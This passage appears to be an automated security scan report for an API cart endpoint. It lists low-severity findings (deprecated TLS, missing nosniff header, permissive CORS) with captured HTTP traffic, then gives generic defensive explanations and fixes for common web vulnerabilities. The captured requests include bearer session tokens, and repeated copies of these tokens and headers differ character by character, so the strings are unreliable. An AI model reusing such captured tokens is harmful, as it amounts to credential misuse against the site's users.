authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMDQyL
CjBwFpbCI6ImphbmVAZXhhbXBsZS5jb20iLCJpc19hZG1pb2lkIjZmFsc2UsImh0dCI6MTMTc4ODM3MTQ0M
ywiLCXhwIjoxNzQ0OTc2MjgzfQ.0h61txD6YLchdyLRQT0DpdLNFekUMYd3FGpAc6wk1hk
```

RESPONSE

```
HTTP/2 200 OK
date: Wed, 02 Sep 2026 17:51:24 GMT
content-type: application/json
server: cloudflare
```

```
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
x-powered-by: PHP/8.2.33
access-control-allow-origin:
access-control-allow-methods: GET, POST, PUT, DELETE, OPTIONS
access-control-allow-headers: Content-Type, Authorization
access-control-allow-credentials: true
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel
.cloudflare.com/report/v4?s=oXvHmp%2BUvzv9mtMg5e4ibmzVFC7v4M%2BtRAZKxS%2BFEnEbL6
REntBjwy0iGZk%2FK%2BqomR9TWzFfFCosgFYh0hDntmztaDXX4TzZRazs0U2x4%2B0haxB0lPU%2Fw8
E6eulkBrJYHoPWYUrq"}]}}
content-encoding: br
cf-ray: a34e5cd39a34dfe4-MIA
alt-svc: h3=":443"; ma=86400
{"success":true,"items":[],"total":0}
```

5

Deprecated TLS protocol version 1.1 supported

LOW

CVSS SCORE

4.2

CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

PATH

<https://api.taintedport.com/cart>

DESCRIPTION

TLS protocol version 1.1 is outdated and deprecated by security standards such as NIST, PCI-DSS, and alike.

This version has various design flaws that can undermine the security of your communications. The attacker still needs to be able to eavesdrop and intercept the connection before being able to deliver the attack, but given the widespread availability of open Wi-Fi hotspots, the risk cannot be ignored.

If you'd like to know more about secure TLS deployments, we have written an extensive article about it [here](#).

EVIDENCE

No evidence available.

4

Deprecated TLS protocol version 1.0 supported

LOW

CVSS SCORE

4.2

CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

PATH

<https://api.taintedport.com/cart>

DESCRIPTION

TLS protocol version 1.0 is deprecated and is now considered insecure by security researchers and standards organizations alike. For example, the PCI (Payment Card Industry) Security Standards Council requires that TLS 1.0 is disabled starting from mid-2018.

This version has a design flaw in the way encryption Initialization Vectors (IVs) are handled, and security researchers devised an attack called BEAST that may allow an attacker to eavesdrop on connections using TLS 1.0. However, note that TLS 1.0 is not immediately insecure, especially because BEAST is primarily a client-side attack, so if browsers are up-to-date, the connections should be safe.

In any case, the attacker needs to be able to eavesdrop and intercept the connection before being able to deliver the attack. This may be fairly common considering the frequency that clients establish connections over open Wi-Fi.

If you'd like to know more about secure TLS deployments, we have written an extensive article about it [here](#).

EVIDENCE

No evidence available.

Browser content sniffing allowed

LOW

CVSS SCORE

4.7

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

METHOD

PATH

GET

<https://api.taintedport.com/cart>

DESCRIPTION

The application allows browsers to try to mime-sniff the content-type of the responses. This means the browser may try to guess the content-type by looking at the response content, and render it in way it was not intended to. This behavior may lead to the execution of malicious code, for instance, to explore an XSS vulnerability.

Applications should disable this behavior, forcing browsers to honor the content-type specified in the response. Without a specific content-type set browsers will default to render the content as text, turning XSS payloads innocuous.

Disabling mime-sniffing should be seen as an extra layer of defense against XSS, and not as replacement of the recommended XSS prevention techniques.

EVIDENCE

Response headers, missing the X-Content-Type-Options header:

```
date: Wed, 02 Sep 2026 17:51:24 GMT
content-type: application/json
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
x-powered-by: PHP/8.2.33
access-control-allow-origin:
access-control-allow-methods: GET, POST, PUT, DELETE, OPTIONS
access-control-allow-headers: Content-Type, Authorization
access-control-allow-credentials: true
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=oXvHm
p%2BUvzv9mtMg5e4ibmzVFC7v4M%2BtRAZkXs%2BFEnebL6REntBjwy0iGZk%2FK%2BqomR9TWzfFFCosgFYh0hDntmztzDX4TzZRaZs0U2x4%2B
0haxB0lPU%2Fw8E6eulkBrJYHoPWYUrq"}]}}
content-encoding: br
cf-ray: a34e5cd39a34dfe4-MIA
alt-svc: h3=":443"; ma=86400
```

REQUEST

```
GET /cart HTTP/2
host: api.taintedport.com
accept-encoding: gzip, deflate, br
connection: keep-alive
accept: application/json, text/*, */*
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3803.0 Safari/537.36
ProbelySPDR/0.2.0
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMDQyL
CjlbWZpbCI6ImphbmVhZS5jb20iLCJpc19hZG1pb2I6ImZmfc2U5Imh0dCI6MTc0MDM3MTQ4M
ywiZXhwIjoxNzq4OTc2MjMqazF0.0h61txD6YLchdyLR0T0DpdLNFekUMYd3FGpAC6wk1hk
```

RESPONSE

```
HTTP/2 200 OK
date: Wed, 02 Sep 2026 17:51:24 GMT
content-type: application/json
server: cloudflare
nel: {"report to":"cf-nel","success fraction":0.0,"max age":604800}
```

```
x-powered-by: PHP/8.2.33
access-control-allow-origin:
access-control-allow-methods: GET, POST, PUT, DELETE, OPTIONS
access-control-allow-headers: Content-Type, Authorization
access-control-allow-credentials: true
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel
.cloudflare.com/report/v4?s=oXvHmp%2BUvzv9mtMg5e4ibmzVFC7v4M%2BtRAZKxS%2BFEnEbL6
REntBjwy0iGZk%2FK%2BqomR9TWzFfFCosgFYh0hDntmztaDXX4TzZRazs0U2x4%2B0haxB0lPU%2Fw8
E6eulkBrJYHoPWYUrq"}]}
content-encoding: br
cf-ray: a34e5cd39a34dfe4-MIA
alt-svc: h3=":443"; ma=86400
{"success":true,"items":[],"total":0}
```

Glossary

Term	Definition
Vulnerability	A type of security weakness that might occur in applications (e.g. Broken Authentication, Information Disclosure). Some vulnerabilities take their name not from the weakness itself, but from the attack that exploits it (e.g. SQL Injection, XSS, etc.).
Findings	An instance of a Vulnerability that was found in an application.

Severity Legend

To each finding is attributed a severity which sums up its overall risk

The severity is a compound metric that encompasses the likelihood of the finding being found and exploited by an attacker, the skill required to exploit it, and the impact of such exploitation. A finding that is easy to find, easy to exploit and the exploitation has high impact, will have a greater severity.

Different findings of the same type could have a different severity: we consider multiple factors to increase or decrease it, such as if the application has an authenticated area or not.

The following table describes the different severities:

Severity	Description	Examples
CRITICAL	These findings require immediate attention and remediation due to their potentially devastating impact.	OS command injection SQL Injection
HIGH	These findings may have a direct impact on the application security, either clients or service owners, for instance, by granting the attacker access to sensitive information.	Reflected cross-site scripting Path Traversal
MEDIUM	Medium findings don't usually have an immediate impact alone, but combined with other findings, may lead to a successful compromise of the application.	Cross-site Request Forgery Unencrypted Communications
LOW	Findings where either the exploit is not trivial, the impact is low, or the finding cannot be exploited by itself.	Directory Listing Clickjacking

Category Descriptions

The following pages contain descriptions of each vulnerability. For each vulnerability you will find a section explaining its impact, causes and prevention methods. These descriptions are very generic, and whenever they are not enough to understand or fix a given finding, more information is provided for that finding in the Detailed Finding Descriptions section.

SQL Injection

Description

SQL Injections are the most common form of injections because SQL databases are very popular in dynamic web applications. This vulnerability allows an attacker to tamper existing SQL queries performed by the web application. Depending on the queries, the attacker might be able to access, modify or even destroy data from the database.

Since databases are commonly used to store private data, such as authentication information, personal user data and site content, if an attacker gains access to it, the consequences are typically very severe, ranging from defacement of the web application to users data leakage or loss, or even full control of the web application or database server.

Fix

To fix an SQL Injection you should use Prepared Statements. If an application exclusively uses prepared statements, the developer can be sure that no SQL injection will occur. Prepared Statements can be thought of as a kind of compiled template for the SQL that an application wants to run, that can be customized using variable parameters.

As an added bonus, if you're executing the same query several times, then it'll be even faster than when you're not using prepared statements. This is because when using prepared statements, the query needs to be parsed (prepared) only once, but can be executed multiple times with the same or different parameters.

Broken Object Level Authorization

Description

Broken Object Level Authorization (BOLA), often referred to as Insecure Direct Object Reference (IDOR), represents a critical authorization flaw prevalent in modern APIs. This vulnerability arises when an API endpoint accepts a direct reference to an object, such as a user ID, order number, or document ID, yet fails to perform adequate authorization checks to confirm if the requesting user is genuinely permitted to access or manipulate that specific resource instance. This oversight enables an attacker to bypass intended access controls by merely modifying the object identifier in their request.

The exploitation of Broken Object Level Authorization can lead to severe consequences, including unauthorized data exposure, manipulation, or deletion, potentially resulting in account takeovers, privilege escalation, and significant reputational and financial damage to the affected organization.

Fix

The fix is to implement proper authorization checks at the object level for every request.

This means:

1. Identify the User: Know which authenticated user is making the request.
2. Identify the Object: Know which specific data object the request is trying to access or modify (e.g., using its ID from the URL or request body).
3. Verify Permissions: Before performing any action, check if the identified user actually has the necessary rights (e.g., ownership, specific role, explicit grant) to perform the requested action (read, update, delete) on that specific object.

In simple terms: For every request like "User A wants to access Order #123", the system must explicitly verify "Does User A have permission for Order #123?" before allowing it.

Path traversal

Description

A path traversal vulnerability occurs when the application places user input in filesystem operations without proper care. The attacker explores this vulnerability, typically, with various sequences of dot-dot-slash (../) characters that change the file being read or written to one of his choice, possibly even outside of the root folder of the application. Other possibility is for the attacker to use absolute paths.

Typically, the successful exploration of these vulnerabilities has a very high impact since the attacker is able to access sensitive files from the application, either configuration files or source-code files. Depending on the vulnerability, the attacker may be able to read most files on the server.

This attack is also frequently referred to as Directory Traversal.

Fix

The most secure way of fixing a path traversal vulnerability is to prevent any user input from controlling which files are read by the application. This is only achievable if the application replaces the references to files being read with an indirect reference, such as index number than is then converted to a file name in the server. Something like `example.com?file=example.css` would become `example.com?file=1`.

A simpler solution would be to ensure the files being read are all contained in a base directory and it is not possible to read files outside that directory. To ensure that you need two steps: * canonicalize the file that you want to read, which means converting it to its absolute and simplest representation * then, extract the filename from the canonicalized path and concatenate it with your base directory.

All programming languages have functions that implement these, such as `realpath()` and `basename()`. The resulting path will definitely point to a file within your base directory, thus limiting reading to the expected files.

Cross Origin Resource Sharing: Arbitrary Origin Trusted

Description

An HTML5 Cross-Origin Resource Sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged-in user.

The aforementioned impact is exploitable because the site specifies the header `Access-Control-Allow-Credentials: true` and allows any arbitrary origin to bypass same-origin policy as can be seen in the response header `Access-Control-Allow-Origin`.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.

Fix

Any inappropriate domains should be removed from the CORS policy or you should only send the header `Access-Control-Allow-Origin` to origins that you allow, i.e., you should use a whitelist of trusted domains.

Server-side request forgery

Description

In a Server-side request forgery (SSRF) attack, the attacker tricks the vulnerable application into sending a custom request to an internal application. The attacker might be able to exfiltrate information by making requests to internal applications that otherwise would be out of reach from the attacker. This attack can also be used to trigger actions on those applications, bypassing the restriction of only being available internally.

Fix

The best strategy is to have a filter on the identified vulnerable parameter with a whitelist of URLs where the server can execute requests to. Alternatively, the filter can have patterns for allowed URLs. In case you already have filters in place, review and refine them to be more effective.

HSTS header not enforced

Description

The application does not force users to connect over an encrypted channel, i.e. over HTTPS. If the user types the site address in the browser without starting with *https*, it will connect to it over an insecure channel, even if there is a redirect to HTTPS later. Even if the user types *https*, there may be links to the site in HTTP, forcing the user to navigate insecurely. An attacker that is able to intercept traffic between the victim and the site or spoof the site's address can prevent the user from ever connecting to it over an encrypted channel. This way, the attacker is able to eavesdrop all communications between the victim and the server, including the victim's credentials, session cookie and other sensitive information.

Fix

The application should instruct web browsers to only access the application using HTTPS. To do this, enable HTTP Strict Transport Security (HSTS).

You can do so by sending the `Strict-Transport-Security` header so that browsers will always enforce a secure connection to your site, regardless of the user typing *https* in the address.

An HSTS enabled server includes the following header in an HTTPS response: `Strict-Transport-Security: max-age=15768000;includeSubdomains` Please bear in mind that only HTTPS responses should have the HSTS header, because browsers ignore this header when sent over HTTP.

When the browser sees this, it will remember, for the given number of seconds, that the current domain should only be contacted over HTTPS. In the future, if the user types *http://* or omits the scheme, HTTPS is the default. In this example, which includes the option `includeSubdomains`, all requests to URLs in the current domain and subdomains will go over HTTPS. When you set `includeSubdomains` make sure you can serve all requests over HTTPS! It is, however, important that you add the option `includeSubdomains` whenever is possible.

Instead of changing your application, you should have the web server setting the header for you. If you are using Apache, just enable `mod_headers` and add the following line to your virtual host configuration: `Header always set Strict-Transport-Security "max-age=15768000;includeSubdomains"`

If you are using NGINX, just add this line to your host configuration: `add_header Strict-Transport-Security max-age=15768000;includeSubdomains`

Note that because HSTS is a "trust on first use" (TOFU) protocol, a user who has never accessed the application will never have seen the HSTS header, and may therefore be vulnerable to aforementioned SSL stripping attacks. To mitigate this risk, you can optionally ask the browser vendors to include your domain in a preloaded list, included in the browser, and afterwards add the 'preload' flag to the HSTS header.

Weak cipher suites enabled

Description

The server supports weak cipher suites for SSL/TLS connections. These cipher suites are currently considered broken and, depending on the specific cipher suite, offer poor or no security at all. Thus defeating the purpose of using a secure communication channel in the first place.

Any connection to the server using a weak cipher suite is at risk of being eavesdropped and tampered with by an attacker that can intercept connections. This is more likely to occur to Wi-Fi clients.

Depending on the cipher suites used, a connection may be at an immediate risk of being intercepted.

Fix

To stop using weak cipher suites, you must configure your web server cipher suite list accordingly.

Ideally, as a general guideline, you should remove any cipher suite containing references to NULL, anonymous, export, DES, 3DES, RC4, and MD5 algorithms. Additionally, remove any cipher suite containing ciphers with less than 128 bit security. You should also remove any CBC ciphers, as CBC ciphers may be vulnerable to padding oracle attacks.

You should enable ECDHE and GCM cipher suites to ensure proper security. Please note that these modern ciphers are available in newer versions of TLS only. You will need to enable TLSv1.2 and above (for GCM cipher suites).

To achieve this, we propose a modern cipher suite, based on these recommendations:

TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:ECDSA-AES256-GCM-SHA384:ECDSA-AES256-GCM-SHA384:ECDSA-CHACHA20-POLY1305:ECDSA-AES128-GCM-SHA256:ECDSA-AES128-GCM-SHA256:ECDSA-AES256-SHA384:ECDSA-AES256-SHA384:ECDSA-AES128-SHA256:ECDSA-AES128-SHA256

For most systems, changing TLS cipher suites, requires a change on the web server configuration file. Please refer to your web server documentation on how to do so.

Referrer policy not defined

Description

The application does not prevent browsers from sending sensitive information to third party sites in the **referer** header.

Without a referrer policy, every time a user clicks a link that takes him to another origin (domain), the browser will add a **referrer** header with the URL from which he is coming from. That URL may contain sensitive information, such as password recovery tokens or personal information, and it will be visible that other origin. For instance, if the user is at `example.com/password_recovery?unique_token=14f748d89d` and clicks a link to `example-analytics.com`, that origin will receive the complete password recovery URL in the headers and might be able to set the users password. The same happens for requests made automatically by the application, such as XHR ones.

Applications should set a secure referrer policy that prevents sensitive data from being sent to third party sites.

Fix

This problem can be fixed by sending the header **Referrer-Policy** with a secure and valid value. There are different values available, but not all are considered secure. Please note that this header only supports one directive at a time. The following list explains each one and it is ordered from the safest to the least safe:

- **no-referrer**: never send the header.
- **same-origin**: send the full URL to requests to the same origin (exact scheme + domain)
- **strict-origin**: send only the domain part of the URL, but sends nothing when downgrading to HTTP.
- **origin**: similar to **strict-origin** without downgrade restriction.
- **strict-origin-when-cross-origin**: send full URL within the same origin, but only the domain part when sending to another origin. It sends nothing when downgrading to HTTP.
- **origin-when-cross-origin**: similar to **strict-origin-when-cross-origin** without the downgrade restriction.

Insecure options: * **no-referrer-when-downgrade**: sends the full URL when the scheme does not change. It will send if both origins are, for instance, HTTP. * **unsafe-url**: always sent the full URL

A possible, safe option is **strict-origin**, so the header would look like this:

Referrer-Policy: strict-origin

It is normally easy to enable the header in the web server configuration file, but it can also be done at the application level.

Please note that the referrer header is written `referer`, with a single `r` but the referrer policy header is properly written, with `rr`: `Referrer-Policy`.

Deprecated TLS protocol version 1.1 supported

Description

TLS protocol version 1.1 is outdated and deprecated by security standards such as NIST, PCI-DSS, and alike.

This version has various design flaws that can undermine the security of your communications. The attacker still needs to be able to eavesdrop and intercept the connection before being able to deliver the attack, but given the widespread availability of open Wi-Fi hotspots, the risk cannot be ignored.

If you'd like to know more about secure TLS deployments, we have written an extensive article about it [here](#).

Fix

To fix this issue, you need to disable TLS 1.1. We also recommend that higher TLS protocol versions are enabled, ideally version 1.2 and above.

For most systems, enabling or disabling TLS versions requires a change on the web server configuration file. Therefore, refer to your web server documentation on how to do that.

If you are using Nginx, you may use the following snippet as a guideline:

```
server { listen 443 ssl; ... ssl_protocols TLSv1.2 TLSv1.3; ... }
```

If using an Apache server, please refer to the following example:

```
<VirtualHost *:443> ... SSLProtocol -all +TLSv1.2 +TLSv1.3 ... </VirtualHost>
```

Note that we are enabling TLS 1.2 and above, reflecting our ideal scenario.

If you need to cater to clients with very old TLS support, such as ancient mobile devices, and know what you are doing, you can keep TLS 1.1 enabled, despite the known weaknesses. These issues are not as serious as the SSL protocol weaknesses, but you should weigh the need to support older clients with the risk of exposing private data. Moreover, keep in mind that TLS 1.2 support is well over 95%.

Deprecated TLS protocol version 1.0 supported

Description

TLS protocol version 1.0 is deprecated and is now considered insecure by security researchers and standards organizations alike. For example, the PCI (Payment Card Industry) Security Standards Council requires that TLS 1.0 is disabled starting from mid-2018.

This version has a design flaw in the way encryption Initialization Vectors (IVs) are handled, and security researchers devised an attack called BEAST that may allow an attacker to eavesdrop on connections using TLS 1.0. However, note that TLS 1.0 is not immediately insecure, especially because BEAST is primarily a client-side attack, so if browsers are up-to-date, the connections should be safe.

In any case, the attacker needs to be able to eavesdrop and intercept the connection before being able to deliver the attack. This may be fairly common considering the frequency that clients establish connections over open Wi-Fi.

If you'd like to know more about secure TLS deployments, we have written an extensive article about it [here](#).

Fix

To fix this issue, you need to disable TLS 1.0. We also recommend that higher TLS protocol versions are enabled, ideally version 1.2 and above.

For most systems, enabling or disabling TLS versions requires a change on the web server configuration file. Therefore, refer to your web server documentation on how to do that.

If you are using Nginx, you may use the following snippet as a guideline:

```
server { listen 443 ssl; ... ssl_protocols TLSv1.2 TLSv1.3; ... }
```

If using an Apache server, please refer to the following example:

```
<VirtualHost *:443> ... SSLProtocol -all +TLSv1.2 +TLSv1.3 ... </VirtualHost>
```

Note that we are enabling TLS 1.2 and above, reflecting our ideal scenario.

If you need to cater to clients with very old TLS support, such as ancient mobile devices, and know what you are doing, you can keep TLS 1.0 enabled, despite the known weaknesses. These issues are not as serious as the SSL protocol weaknesses, but you should weigh the need to support older clients with the risk of exposing private data. Moreover, keep in mind that TLS 1.2 support is well over 95%.

Browser content sniffing allowed

Description

The application allows browsers to try to mime-sniff the content-type of the responses. This means the browser may try to guess the content-type by looking at the response content, and render it in way it was not intended to. This behavior may lead to the execution of malicious code, for instance, to explore an XSS vulnerability.

Applications should disable this behavior, forcing browsers to honor the content-type specified in the response. Without a specific content-type set browsers will default to render the content as text, turning XSS payloads innocuous.

Disabling mime-sniffing should be seen as an extra layer of defense against XSS, and not as replacement of the recommended XSS prevention techniques.

Fix

This problem can be fixed by sending the header **X-Content-Type-Options** with value **nosniff**, to force browsers to disable the content-type guessing (the sniffing).

The header should look this:

```
X-Content-Type-Options: nosniff
```

It is normally easy to enable the header in the web server configuration file, but it can also be done at application level.